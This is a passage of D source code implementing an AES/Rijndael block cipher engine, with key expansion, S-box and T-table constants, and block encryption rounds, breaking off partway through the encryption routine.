||||
private ubyte[maxKeyLength] userKey;
|
||||
private size_t keyLength;
|
||||
|
||||
public {
|
||||
|
||||
/// Params:
|
||||
/// forEncryption = `false`: decrypt, `true`: encrypt
|
||||
/// userKey = Secret key.
|
||||
/// iv = Not used.
|
||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow @nogc
|
||||
{
|
||||
size_t len = key.length;
|
||||
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
|
||||
|
||||
userKey[0 .. len] = key[0 .. len];
|
||||
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "Serpent engine not initialized");
|
||||
assert(blockSize<=input.length, "input buffer too short");
|
||||
assert(blockSize<=output.length, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
state = 1;
|
||||
generateWorkingKey(userKey);
|
||||
|
||||
unpackBlock(input);
|
||||
encryptBlock();
|
||||
packBlock(output);
|
||||
|
||||
return blockSize;
|
||||
}
|
||||
|
||||
public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "Serpent engine not initialized");
|
||||
assert(blockSize<=input.length, "input buffer too short");
|
||||
assert(blockSize<=output.length, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
state = 0;
|
||||
generateWorkingKey(userKey);
|
||||
|
||||
unpackBlock(input);
|
||||
decryptBlock();
|
||||
packBlock(output);
|
||||
|
||||
return blockSize;
|
||||
}
|
||||
|
||||
void reset() nothrow @nogc
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// begin of private section
|
||||
private:
|
||||
|
||||
// @safe @nogc nothrow
|
||||
// ~this() {
|
||||
// import dcrypt.util: wipe;
|
||||
//
|
||||
// wipe(workingKey);
|
||||
// wipe(C0, C1, C2, C3);
|
||||
// }
|
||||
|
||||
enum MAXROUNDS = 14;
|
||||
|
||||
uint ROUNDS; // Number of rounds depends on keysize
|
||||
uint C0, C1, C2, C3; // State
|
||||
|
||||
uint[4][MAXROUNDS+1] workingKey;
|
||||
|
||||
bool state; // 1 encrypt, 0 decrypt
|
||||
bool initialized;
|
||||
// const ubyte[] userKey = kii;
|
||||
|
||||
// Sbox and its inverse
|
||||
static immutable ubyte[256] S = [
|
||||
0x63u, 0x7cu, 0x77u, 0x7bu, 0xf2u, 0x6bu, 0x6fu, 0xc5u,
|
||||
0x30u, 0x01u, 0x67u, 0x2bu, 0xfeu, 0xd7u, 0xabu, 0x76u,
|
||||
0xcau, 0x82u, 0xc9u, 0x7du, 0xfau, 0x59u, 0x47u, 0xf0u,
|
||||
0xadu, 0xd4u, 0xa2u, 0xafu, 0x9cu, 0xa4u, 0x72u, 0xc0u,
|
||||
0xb7u, 0xfdu, 0x93u, 0x26u, 0x36u, 0x3fu, 0xf7u, 0xccu,
|
||||
0x34u, 0xa5u, 0xe5u, 0xf1u, 0x71u, 0xd8u, 0x31u, 0x15u,
|
||||
0x04u, 0xc7u, 0x23u, 0xc3u, 0x18u, 0x96u, 0x05u, 0x9au,
|
||||
0x07u, 0x12u, 0x80u, 0xe2u, 0xebu, 0x27u, 0xb2u, 0x75u,
|
||||
0x09u, 0x83u, 0x2cu, 0x1au, 0x1bu, 0x6eu, 0x5au, 0xa0u,
|
||||
0x52u, 0x3bu, 0xd6u, 0xb3u, 0x29u, 0xe3u, 0x2fu, 0x84u,
|
||||
0x53u, 0xd1u, 0x00u, 0xedu, 0x20u, 0xfcu, 0xb1u, 0x5bu,
|
||||
0x6au, 0xcbu, 0xbeu, 0x39u, 0x4au, 0x4cu, 0x58u, 0xcfu,
|
||||
0xd0u, 0xefu, 0xaau, 0xfbu, 0x43u, 0x4du, 0x33u, 0x85u,
|
||||
0x45u, 0xf9u, 0x02u, 0x7fu, 0x50u, 0x3cu, 0x9fu, 0xa8u,
|
||||
0x51u, 0xa3u, 0x40u, 0x8fu, 0x92u, 0x9du, 0x38u, 0xf5u,
|
||||
0xbcu, 0xb6u, 0xdau, 0x21u, 0x10u, 0xffu, 0xf3u, 0xd2u,
|
||||
0xcdu, 0x0cu, 0x13u, 0xecu, 0x5fu, 0x97u, 0x44u, 0x17u,
|
||||
0xc4u, 0xa7u, 0x7eu, 0x3du, 0x64u, 0x5du, 0x19u, 0x73u,
|
||||
0x60u, 0x81u, 0x4fu, 0xdcu, 0x22u, 0x2au, 0x90u, 0x88u,
|
||||
0x46u, 0xeeu, 0xb8u, 0x14u, 0xdeu, 0x5eu, 0x0bu, 0xdbu,
|
||||
0xe0u, 0x32u, 0x3au, 0x0au, 0x49u, 0x06u, 0x24u, 0x5cu,
|
||||
0xc2u, 0xd3u, 0xacu, 0x62u, 0x91u, 0x95u, 0xe4u, 0x79u,
|
||||
0xe7u, 0xc8u, 0x37u, 0x6du, 0x8du, 0xd5u, 0x4eu, 0xa9u,
|
||||
0x6cu, 0x56u, 0xf4u, 0xeau, 0x65u, 0x7au, 0xaeu, 0x08u,
|
||||
0xbau, 0x78u, 0x25u, 0x2eu, 0x1cu, 0xa6u, 0xb4u, 0xc6u,
|
||||
0xe8u, 0xddu, 0x74u, 0x1fu, 0x4bu, 0xbdu, 0x8bu, 0x8au,
|
||||
0x70u, 0x3eu, 0xb5u, 0x66u, 0x48u, 0x03u, 0xf6u, 0x0eu,
|
||||
0x61u, 0x35u, 0x57u, 0xb9u, 0x86u, 0xc1u, 0x1du, 0x9eu,
|
||||
0xe1u, 0xf8u, 0x98u, 0x11u, 0x69u, 0xd9u, 0x8eu, 0x94u,
|
||||
0x9bu, 0x1eu, 0x87u, 0xe9u, 0xceu, 0x55u, 0x28u, 0xdfu,
|
||||
0x8cu, 0xa1u, 0x89u, 0x0du, 0xbfu, 0xe6u, 0x42u, 0x68u,
|
||||
0x41u, 0x99u, 0x2du, 0x0fu, 0xb0u, 0x54u, 0xbbu, 0x16u
|
||||
];
|
||||
|
||||
static immutable ubyte[256] Si = [
|
||||
0x52u, 0x09u, 0x6au, 0xd5u, 0x30u, 0x36u, 0xa5u, 0x38u,
|
||||
0xbfu, 0x40u, 0xa3u, 0x9eu, 0x81u, 0xf3u, 0xd7u, 0xfbu,
|
||||
0x7cu, 0xe3u, 0x39u, 0x82u, 0x9bu, 0x2fu, 0xffu, 0x87u,
|
||||
0x34u, 0x8eu, 0x43u, 0x44u, 0xc4u, 0xdeu, 0xe9u, 0xcbu,
|
||||
0x54u, 0x7bu, 0x94u, 0x32u, 0xa6u, 0xc2u, 0x23u, 0x3du,
|
||||
0xeeu, 0x4cu, 0x95u, 0x0bu, 0x42u, 0xfau, 0xc3u, 0x4eu,
|
||||
0x08u, 0x2eu, 0xa1u, 0x66u, 0x28u, 0xd9u, 0x24u, 0xb2u,
|
||||
0x76u, 0x5bu, 0xa2u, 0x49u, 0x6du, 0x8bu, 0xd1u, 0x25u,
|
||||
0x72u, 0xf8u, 0xf6u, 0x64u, 0x86u, 0x68u, 0x98u, 0x16u,
|
||||
0xd4u, 0xa4u, 0x5cu, 0xccu, 0x5du, 0x65u, 0xb6u, 0x92u,
|
||||
0x6cu, 0x70u, 0x48u, 0x50u, 0xfdu, 0xedu, 0xb9u, 0xdau,
|
||||
0x5eu, 0x15u, 0x46u, 0x57u, 0xa7u, 0x8du, 0x9du, 0x84u,
|
||||
0x90u, 0xd8u, 0xabu, 0x00u, 0x8cu, 0xbcu, 0xd3u, 0x0au,
|
||||
0xf7u, 0xe4u, 0x58u, 0x05u, 0xb8u, 0xb3u, 0x45u, 0x06u,
|
||||
0xd0u, 0x2cu, 0x1eu, 0x8fu, 0xcau, 0x3fu, 0x0fu, 0x02u,
|
||||
0xc1u, 0xafu, 0xbdu, 0x03u, 0x01u, 0x13u, 0x8au, 0x6bu,
|
||||
0x3au, 0x91u, 0x11u, 0x41u, 0x4fu, 0x67u, 0xdcu, 0xeau,
|
||||
0x97u, 0xf2u, 0xcfu, 0xceu, 0xf0u, 0xb4u, 0xe6u, 0x73u,
|
||||
0x96u, 0xacu, 0x74u, 0x22u, 0xe7u, 0xadu, 0x35u, 0x85u,
|
||||
0xe2u, 0xf9u, 0x37u, 0xe8u, 0x1cu, 0x75u, 0xdfu, 0x6eu,
|
||||
0x47u, 0xf1u, 0x1au, 0x71u, 0x1du, 0x29u, 0xc5u, 0x89u,
|
||||
0x6fu, 0xb7u, 0x62u, 0x0eu, 0xaau, 0x18u, 0xbeu, 0x1bu,
|
||||
0xfcu, 0x56u, 0x3eu, 0x4bu, 0xc6u, 0xd2u, 0x79u, 0x20u,
|
||||
0x9au, 0xdbu, 0xc0u, 0xfeu, 0x78u, 0xcdu, 0x5au, 0xf4u,
|
||||
0x1fu, 0xddu, 0xa8u, 0x33u, 0x88u, 0x07u, 0xc7u, 0x31u,
|
||||
0xb1u, 0x12u, 0x10u, 0x59u, 0x27u, 0x80u, 0xecu, 0x5fu,
|
||||
0x60u, 0x51u, 0x7fu, 0xa9u, 0x19u, 0xb5u, 0x4au, 0x0du,
|
||||
0x2du, 0xe5u, 0x7au, 0x9fu, 0x93u, 0xc9u, 0x9cu, 0xefu,
|
||||
0xa0u, 0xe0u, 0x3bu, 0x4du, 0xaeu, 0x2au, 0xf5u, 0xb0u,
|
||||
0xc8u, 0xebu, 0xbbu, 0x3cu, 0x83u, 0x53u, 0x99u, 0x61u,
|
||||
0x17u, 0x2bu, 0x04u, 0x7eu, 0xbau, 0x77u, 0xd6u, 0x26u,
|
||||
0xe1u, 0x69u, 0x14u, 0x63u, 0x55u, 0x21u, 0x0cu, 0x7du
|
||||
];
|
||||
|
||||
// Round constants
|
||||
static immutable uint[30] rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
|
||||
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91
|
||||
];
|
||||
|
||||
// precomputation tables of calculations for rounds
|
||||
static immutable uint[256] T0 =
|
||||
[
|
||||
0xa56363c6u, 0x847c7cf8u, 0x997777eeu, 0x8d7b7bf6u, 0x0df2f2ffu,
|
||||
0xbd6b6bd6u, 0xb16f6fdeu, 0x54c5c591u, 0x50303060u, 0x03010102u,
|
||||
0xa96767ceu, 0x7d2b2b56u, 0x19fefee7u, 0x62d7d7b5u, 0xe6abab4du,
|
||||
0x9a7676ecu, 0x45caca8fu, 0x9d82821fu, 0x40c9c989u, 0x877d7dfau,
|
||||
0x15fafaefu, 0xeb5959b2u, 0xc947478eu, 0x0bf0f0fbu, 0xecadad41u,
|
||||
0x67d4d4b3u, 0xfda2a25fu, 0xeaafaf45u, 0xbf9c9c23u, 0xf7a4a453u,
|
||||
0x967272e4u, 0x5bc0c09bu, 0xc2b7b775u, 0x1cfdfde1u, 0xae93933du,
|
||||
0x6a26264cu, 0x5a36366cu, 0x413f3f7eu, 0x02f7f7f5u, 0x4fcccc83u,
|
||||
0x5c343468u, 0xf4a5a551u, 0x34e5e5d1u, 0x08f1f1f9u, 0x937171e2u,
|
||||
0x73d8d8abu, 0x53313162u, 0x3f15152au, 0x0c040408u, 0x52c7c795u,
|
||||
0x65232346u, 0x5ec3c39du, 0x28181830u, 0xa1969637u, 0x0f05050au,
|
||||
0xb59a9a2fu, 0x0907070eu, 0x36121224u, 0x9b80801bu, 0x3de2e2dfu,
|
||||
0x26ebebcdu, 0x6927274eu, 0xcdb2b27fu, 0x9f7575eau, 0x1b090912u,
|
||||
0x9e83831du, 0x742c2c58u, 0x2e1a1a34u, 0x2d1b1b36u, 0xb26e6edcu,
|
||||
0xee5a5ab4u, 0xfba0a05bu, 0xf65252a4u, 0x4d3b3b76u, 0x61d6d6b7u,
|
||||
0xceb3b37du, 0x7b292952u, 0x3ee3e3ddu, 0x712f2f5eu, 0x97848413u,
|
||||
0xf55353a6u, 0x68d1d1b9u, 0x00000000u, 0x2cededc1u, 0x60202040u,
|
||||
0x1ffcfce3u, 0xc8b1b179u, 0xed5b5bb6u, 0xbe6a6ad4u, 0x46cbcb8du,
|
||||
0xd9bebe67u, 0x4b393972u, 0xde4a4a94u, 0xd44c4c98u, 0xe85858b0u,
|
||||
0x4acfcf85u, 0x6bd0d0bbu, 0x2aefefc5u, 0xe5aaaa4fu, 0x16fbfbedu,
|
||||
0xc5434386u, 0xd74d4d9au, 0x55333366u, 0x94858511u, 0xcf45458au,
|
||||
0x10f9f9e9u, 0x06020204u, 0x817f7ffeu, 0xf05050a0u, 0x443c3c78u,
|
||||
0xba9f9f25u, 0xe3a8a84bu, 0xf35151a2u, 0xfea3a35du, 0xc0404080u,
|
||||
0x8a8f8f05u, 0xad92923fu, 0xbc9d9d21u, 0x48383870u, 0x04f5f5f1u,
|
||||
0xdfbcbc63u, 0xc1b6b677u, 0x75dadaafu, 0x63212142u, 0x30101020u,
|
||||
0x1affffe5u, 0x0ef3f3fdu, 0x6dd2d2bfu, 0x4ccdcd81u, 0x140c0c18u,
|
||||
0x35131326u, 0x2fececc3u, 0xe15f5fbeu, 0xa2979735u, 0xcc444488u,
|
||||
0x3917172eu, 0x57c4c493u, 0xf2a7a755u, 0x827e7efcu, 0x473d3d7au,
|
||||
0xac6464c8u, 0xe75d5dbau, 0x2b191932u, 0x957373e6u, 0xa06060c0u,
|
||||
0x98818119u, 0xd14f4f9eu, 0x7fdcdca3u, 0x66222244u, 0x7e2a2a54u,
|
||||
0xab90903bu, 0x8388880bu, 0xca46468cu, 0x29eeeec7u, 0xd3b8b86bu,
|
||||
0x3c141428u, 0x79dedea7u, 0xe25e5ebcu, 0x1d0b0b16u, 0x76dbdbadu,
|
||||
0x3be0e0dbu, 0x56323264u, 0x4e3a3a74u, 0x1e0a0a14u, 0xdb494992u,
|
||||
0x0a06060cu, 0x6c242448u, 0xe45c5cb8u, 0x5dc2c29fu, 0x6ed3d3bdu,
|
||||
0xefacac43u, 0xa66262c4u, 0xa8919139u, 0xa4959531u, 0x37e4e4d3u,
|
||||
0x8b7979f2u, 0x32e7e7d5u, 0x43c8c88bu, 0x5937376eu, 0xb76d6ddau,
|
||||
0x8c8d8d01u, 0x64d5d5b1u, 0xd24e4e9cu, 0xe0a9a949u, 0xb46c6cd8u,
|
||||
0xfa5656acu, 0x07f4f4f3u, 0x25eaeacfu, 0xaf6565cau, 0x8e7a7af4u,
|
||||
0xe9aeae47u, 0x18080810u, 0xd5baba6fu, 0x887878f0u, 0x6f25254au,
|
||||
0x722e2e5cu, 0x241c1c38u, 0xf1a6a657u, 0xc7b4b473u, 0x51c6c697u,
|
||||
0x23e8e8cbu, 0x7cdddda1u, 0x9c7474e8u, 0x211f1f3eu, 0xdd4b4b96u,
|
||||
0xdcbdbd61u, 0x868b8b0du, 0x858a8a0fu, 0x907070e0u, 0x423e3e7cu,
|
||||
0xc4b5b571u, 0xaa6666ccu, 0xd8484890u, 0x05030306u, 0x01f6f6f7u,
|
||||
0x120e0e1cu, 0xa36161c2u, 0x5f35356au, 0xf95757aeu, 0xd0b9b969u,
|
||||
0x91868617u, 0x58c1c199u, 0x271d1d3au, 0xb99e9e27u, 0x38e1e1d9u,
|
||||
0x13f8f8ebu, 0xb398982bu, 0x33111122u, 0xbb6969d2u, 0x70d9d9a9u,
|
||||
0x898e8e07u, 0xa7949433u, 0xb69b9b2du, 0x221e1e3cu, 0x92878715u,
|
||||
0x20e9e9c9u, 0x49cece87u, 0xff5555aau, 0x78282850u, 0x7adfdfa5u,
|
||||
0x8f8c8c03u, 0xf8a1a159u, 0x80898909u, 0x170d0d1au, 0xdabfbf65u,
|
||||
0x31e6e6d7u, 0xc6424284u, 0xb86868d0u, 0xc3414182u, 0xb0999929u,
|
||||
0x772d2d5au, 0x110f0f1eu, 0xcbb0b07bu, 0xfc5454a8u, 0xd6bbbb6du,
|
||||
0x3a16162cu];
|
||||
|
||||
static immutable uint[256] Tinv0 =
|
||||
[
|
||||
0x50a7f451u, 0x5365417eu, 0xc3a4171au, 0x965e273au, 0xcb6bab3bu,
|
||||
0xf1459d1fu, 0xab58faacu, 0x9303e34bu, 0x55fa3020u, 0xf66d76adu,
|
||||
0x9176cc88u, 0x254c02f5u, 0xfcd7e54fu, 0xd7cb2ac5u, 0x80443526u,
|
||||
0x8fa362b5u, 0x495ab1deu, 0x671bba25u, 0x980eea45u, 0xe1c0fe5du,
|
||||
0x02752fc3u, 0x12f04c81u, 0xa397468du, 0xc6f9d36bu, 0xe75f8f03u,
|
||||
0x959c9215u, 0xeb7a6dbfu, 0xda595295u, 0x2d83bed4u, 0xd3217458u,
|
||||
0x2969e049u, 0x44c8c98eu, 0x6a89c275u, 0x78798ef4u, 0x6b3e5899u,
|
||||
0xdd71b927u, 0xb64fe1beu, 0x17ad88f0u, 0x66ac20c9u, 0xb43ace7du,
|
||||
0x184adf63u, 0x82311ae5u, 0x60335197u, 0x457f5362u, 0xe07764b1u,
|
||||
0x84ae6bbbu, 0x1ca081feu, 0x942b08f9u, 0x58684870u, 0x19fd458fu,
|
||||
0x876cde94u, 0xb7f87b52u, 0x23d373abu, 0xe2024b72u, 0x578f1fe3u,
|
||||
0x2aab5566u, 0x0728ebb2u, 0x03c2b52fu, 0x9a7bc586u, 0xa50837d3u,
|
||||
0xf2872830u, 0xb2a5bf23u, 0xba6a0302u, 0x5c8216edu, 0x2b1ccf8au,
|
||||
0x92b479a7u, 0xf0f207f3u, 0xa1e2694eu, 0xcdf4da65u, 0xd5be0506u,
|
||||
0x1f6234d1u, 0x8afea6c4u, 0x9d532e34u, 0xa055f3a2u, 0x32e18a05u,
|
||||
0x75ebf6a4u, 0x39ec830bu, 0xaaef6040u, 0x069f715eu, 0x51106ebdu,
|
||||
0xf98a213eu, 0x3d06dd96u, 0xae053eddu, 0x46bde64du, 0xb58d5491u,
|
||||
0x055dc471u, 0x6fd40604u, 0xff155060u, 0x24fb9819u, 0x97e9bdd6u,
|
||||
0xcc434089u, 0x779ed967u, 0xbd42e8b0u, 0x888b8907u, 0x385b19e7u,
|
||||
0xdbeec879u, 0x470a7ca1u, 0xe90f427cu, 0xc91e84f8u, 0x00000000u,
|
||||
0x83868009u, 0x48ed2b32u, 0xac70111eu, 0x4e725a6cu, 0xfbff0efdu,
|
||||
0x5638850fu, 0x1ed5ae3du, 0x27392d36u, 0x64d90f0au, 0x21a65c68u,
|
||||
0xd1545b9bu, 0x3a2e3624u, 0xb1670a0cu, 0x0fe75793u, 0xd296eeb4u,
|
||||
0x9e919b1bu, 0x4fc5c080u, 0xa220dc61u, 0x694b775au, 0x161a121cu,
|
||||
0x0aba93e2u, 0xe52aa0c0u, 0x43e0223cu, 0x1d171b12u, 0x0b0d090eu,
|
||||
0xadc78bf2u, 0xb9a8b62du, 0xc8a91e14u, 0x8519f157u, 0x4c0775afu,
|
||||
0xbbdd99eeu, 0xfd607fa3u, 0x9f2601f7u, 0xbcf5725cu, 0xc53b6644u,
|
||||
0x347efb5bu, 0x7629438bu, 0xdcc623cbu, 0x68fcedb6u, 0x63f1e4b8u,
|
||||
0xcadc31d7u, 0x10856342u, 0x40229713u, 0x2011c684u, 0x7d244a85u,
|
||||
0xf83dbbd2u, 0x1132f9aeu, 0x6da129c7u, 0x4b2f9e1du, 0xf330b2dcu,
|
||||
0xec52860du, 0xd0e3c177u, 0x6c16b32bu, 0x99b970a9u, 0xfa489411u,
|
||||
0x2264e947u, 0xc48cfca8u, 0x1a3ff0a0u, 0xd82c7d56u, 0xef903322u,
|
||||
0xc74e4987u, 0xc1d138d9u, 0xfea2ca8cu, 0x360bd498u, 0xcf81f5a6u,
|
||||
0x28de7aa5u, 0x268eb7dau, 0xa4bfad3fu, 0xe49d3a2cu, 0x0d927850u,
|
||||
0x9bcc5f6au, 0x62467e54u, 0xc2138df6u, 0xe8b8d890u, 0x5ef7392eu,
|
||||
0xf5afc382u, 0xbe805d9fu, 0x7c93d069u, 0xa92dd56fu, 0xb31225cfu,
|
||||
0x3b99acc8u, 0xa77d1810u, 0x6e639ce8u, 0x7bbb3bdbu, 0x097826cdu,
|
||||
0xf418596eu, 0x01b79aecu, 0xa89a4f83u, 0x656e95e6u, 0x7ee6ffaau,
|
||||
0x08cfbc21u, 0xe6e815efu, 0xd99be7bau, 0xce366f4au, 0xd4099feau,
|
||||
0xd67cb029u, 0xafb2a431u, 0x31233f2au, 0x3094a5c6u, 0xc066a235u,
|
||||
0x37bc4e74u, 0xa6ca82fcu, 0xb0d090e0u, 0x15d8a733u, 0x4a9804f1u,
|
||||
0xf7daec41u, 0x0e50cd7fu, 0x2ff69117u, 0x8dd64d76u, 0x4db0ef43u,
|
||||
0x544daaccu, 0xdf0496e4u, 0xe3b5d19eu, 0x1b886a4cu, 0xb81f2cc1u,
|
||||
0x7f516546u, 0x04ea5e9du, 0x5d358c01u, 0x737487fau, 0x2e410bfbu,
|
||||
0x5a1d67b3u, 0x52d2db92u, 0x335610e9u, 0x1347d66du, 0x8c61d79au,
|
||||
0x7a0ca137u, 0x8e14f859u, 0x893c13ebu, 0xee27a9ceu, 0x35c961b7u,
|
||||
0xede51ce1u, 0x3cb1477au, 0x59dfd29cu, 0x3f73f255u, 0x79ce1418u,
|
||||
0xbf37c773u, 0xeacdf753u, 0x5baafd5fu, 0x146f3ddfu, 0x86db4478u,
|
||||
0x81f3afcau, 0x3ec468b9u, 0x2c342438u, 0x5f40a3c2u, 0x72c31d16u,
|
||||
0x0c25e2bcu, 0x8b493c28u, 0x41950dffu, 0x7101a839u, 0xdeb30c08u,
|
||||
0x9ce4b4d8u, 0x90c15664u, 0x6184cb7bu, 0x70b632d5u, 0x745c6c48u,
|
||||
0x4257b8d0u];
|
||||
|
||||
private enum uint m1 = 0x80808080, m2 = 0x7f7f7f7f, m3 = 0x0000001b;;
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint FFmulX(uint x) nothrow
|
||||
{
|
||||
return (((x & m2) << 1) ^ (((x & m1) >>> 7) * m3));
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint inv_mcol(uint x) nothrow
|
||||
{
|
||||
uint f2 = FFmulX(x);
|
||||
uint f4 = FFmulX(f2);
|
||||
uint f8 = FFmulX(f4);
|
||||
uint f9 = x ^ f8;
|
||||
|
||||
return f2 ^ f4 ^ f8 ^ rotateRight(f2 ^ f9, 8) ^ rotateRight(f4 ^ f9, 16) ^ rotateRight(f9, 24);
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint subWord(uint x) nothrow
|
||||
{
|
||||
return (S[x&255] | ((S[(x>>8)&255])<<8) | ((S[(x>>16)&255])<<16) | S[(x>>24)&255]<<24);
|
||||
}
|
||||
|
||||
/**
|
||||
* Calculate the necessary round keys
|
||||
* The number of calculations depends on key size and block size
|
||||
* AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits
|
||||
* This code is written assuming those are the only possible values
|
||||
*/
|
||||
private void generateWorkingKey(in ubyte[] key) nothrow @nogc
|
||||
in {
|
||||
size_t len = key.length;
|
||||
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
|
||||
}
|
||||
body {
|
||||
uint KC = cast(uint)key.length / 4; // key length in words
|
||||
uint t;
|
||||
|
||||
ROUNDS = KC + 6; // This is not always true for the generalized Rijndael that allows larger block sizes
|
||||
//uint[][] W = new uint[][](ROUNDS+1,4); // 4 words in a block
|
||||
|
||||
alias workingKey W;
|
||||
|
||||
//
|
||||
// copy the key into the round key array
|
||||
//
|
||||
|
||||
t = 0;
|
||||
uint i = 0;
|
||||
while (i < key.length)
|
||||
{
|
||||
W[t >> 2][t & 3] = (key[i]&0xff) | ((key[i+1]&0xff) << 8) | ((key[i+2]&0xff) << 16) | (key[i+3] << 24);
|
||||
i+=4;
|
||||
t++;
|
||||
}
|
||||
|
||||
//
|
||||
// while not enough round key material calculated
|
||||
// calculate new values
|
||||
//
|
||||
uint k = (ROUNDS + 1) << 2;
|
||||
for (i = KC; (i < k); i++)
|
||||
{
|
||||
int temp = W[(i-1)>>2][(i-1)&3];
|
||||
if ((i % KC) == 0)
|
||||
{
|
||||
temp = subWord(rotateRight(temp, 8)) ^ rcon[(i / KC)-1];
|
||||
}
|
||||
else if ((KC > 6) && ((i % KC) == 4))
|
||||
{
|
||||
temp = subWord(temp);
|
||||
}
|
||||
|
||||
W[i>>2][i&3] = W[(i - KC)>>2][(i-KC)&3] ^ temp;
|
||||
}
|
||||
|
||||
if (!this.state)
|
||||
{
|
||||
for (int j = 1; j < ROUNDS; j++)
|
||||
{
|
||||
for (i = 0; i < 4; i++)
|
||||
{
|
||||
W[j][i] = inv_mcol(W[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void unpackBlock(in ubyte[] bytes) nothrow
|
||||
in {
|
||||
assert(bytes.length == 16, "invalid input length ");
|
||||
}
|
||||
body {
|
||||
C0 = (bytes[0]);
|
||||
C0 |= (bytes[1]) << 8;
|
||||
C0 |= (bytes[2]) << 16;
|
||||
C0 |= bytes[3] << 24;
|
||||
|
||||
|
||||
C1 = (bytes[4]);
|
||||
C1 |= (bytes[5]) << 8;
|
||||
C1 |= (bytes[6]) << 16;
|
||||
C1 |= bytes[7] << 24;
|
||||
|
||||
|
||||
C2 = (bytes[8]);
|
||||
C2 |= (bytes[9]) << 8;
|
||||
C2 |= (bytes[10]) << 16;
|
||||
C2 |= bytes[11] << 24;
|
||||
|
||||
|
||||
C3 = (bytes[12]);
|
||||
C3 |= (bytes[13]) << 8;
|
||||
C3 |= (bytes[14]) << 16;
|
||||
C3 |= bytes[15] << 24;
|
||||
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void packBlock(ubyte[] bytes) nothrow
|
||||
{
|
||||
bytes[0] = cast(ubyte)C0;
|
||||
bytes[1] = cast(ubyte)(C0 >> 8);
|
||||
bytes[2] = cast(ubyte)(C0 >> 16);
|
||||
bytes[3] = cast(ubyte)(C0 >> 24);
|
||||
|
||||
bytes[4] = cast(ubyte)C1;
|
||||
bytes[5] = cast(ubyte)(C1 >> 8);
|
||||
bytes[6] = cast(ubyte)(C1 >> 16);
|
||||
bytes[7] = cast(ubyte)(C1 >> 24);
|
||||
|
||||
bytes[8] = cast(ubyte)C2;
|
||||
bytes[9] = cast(ubyte)(C2 >> 8);
|
||||
bytes[10] = cast(ubyte)(C2 >> 16);
|
||||
bytes[11] = cast(ubyte)(C2 >> 24);
|
||||
|
||||
bytes[12] = cast(ubyte)C3;
|
||||
bytes[13] = cast(ubyte)(C3 >> 8);
|
||||
bytes[14] = cast(ubyte)(C3 >> 16);
|
||||
bytes[15] = cast(ubyte)(C3 >> 24);
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void encryptBlock() nothrow
|
||||
{
|
||||
alias workingKey wk;
|
||||
uint r, r0, r1, r2, r3;
|
||||
|
||||
C0 ^= wk[0][0];
|
||||
C1 ^= wk[0][1];
|
||||
C2 ^= wk[0][2];
|
||||
C3 ^= wk[0][3];
|
||||
|
||||
r = 1;
|
||||
|
||||
while (r < ROUNDS - 1)
|
||||
{
|
||||
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255],16) ^ rotateRight(T0[(C3>>24)&255],8) ^ wk[r][0];
|
||||
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
|
||||
C0 = T0[r0&255] ^ rotateRight(T0[(r1>>8)&255], 24) ^ rotateRight(T0[(r2>>16)&255], 16) ^ rotateRight(T0[(r3>>24)&255], 8) ^ wk[r][0];
|
||||
C1 = T0[r1&255] ^ rotateRight(T0[(r2>>8)&255], 24) ^ rotateRight(T0[(r3>>16)&255], 16) ^ rotateRight(T0[(r0>>24)&255], 8) ^ wk[r][1];
|
||||
C2 = T0[r2&255] ^ rotateRight(T0[(r3>>8)&255], 24) ^ rotateRight(T0[(r0>>16)&255], 16) ^ rotateRight(T0[(r1>>24)&255], 8) ^ wk[r][2];
|
||||
C3 = T0[r3&255] ^ rotateRight(T0[(r0>>8)&255], 24) ^ rotateRight(T0[(r1>>16)&255], 16) ^ rotateRight(T0[(r2>>24)&255], 8) ^ wk[r++][3];
|
||||
}
|
||||
|
||||
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255], 16) ^ rotateRight(T0[(C3>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
|
||||
